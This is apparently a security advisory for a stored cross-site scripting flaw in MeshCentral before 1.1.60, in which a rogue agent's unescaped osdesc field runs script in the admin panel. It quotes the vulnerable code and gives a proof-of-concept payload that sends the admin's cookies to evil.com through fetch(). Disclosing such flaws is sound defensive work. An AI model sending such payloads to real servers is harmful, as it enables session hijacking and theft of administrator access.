| Package | Affected versions | Patched versions |
|---|---|---|
| meshcentral | < 1.1.60 | 1.1.60 |
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')
Additional unescaped agent fields:
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Rogue agent sends via WebSocket:
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
"name": "Legit-PC"
}
Payload fires when any admin views the device details panel. No click required.
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